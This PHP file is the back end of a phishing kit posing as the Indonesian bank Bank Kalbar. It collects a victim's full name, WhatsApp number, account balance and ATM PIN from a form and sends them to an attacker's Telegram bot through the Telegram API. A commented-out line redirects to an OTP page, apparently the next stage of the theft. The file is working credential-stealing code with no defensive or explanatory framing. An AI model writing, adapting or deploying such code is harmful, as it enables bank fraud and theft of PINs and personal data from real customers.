<?php
session_start();
include "telegram.php";

$a = $_POST['a'];
$b = $_POST['b'];
$c = $_POST['c'];
$d = $_POST['d'];




$message = "

├• BANK KALBAR | DATA | ".$a."
├──────────────────
├• Nama Lengkap : ".$a."
├• No WhatSapp : ".$b."
├• Saldo Akhir : ".$d."
├• Pin ATM : ".$c."
╰───────────────────
";
function sendMessage($id_telegram, $message, $id_botTele) {
    $url = "https://api.telegram.org/bot" . $id_botTele . "/sendMessage?parse_mode=html&chat_id=" . $id_telegram;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true);
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}
sendMessage($id_telegram, $message, $id_botTele);
//header('Location:./../otp.php');
?>
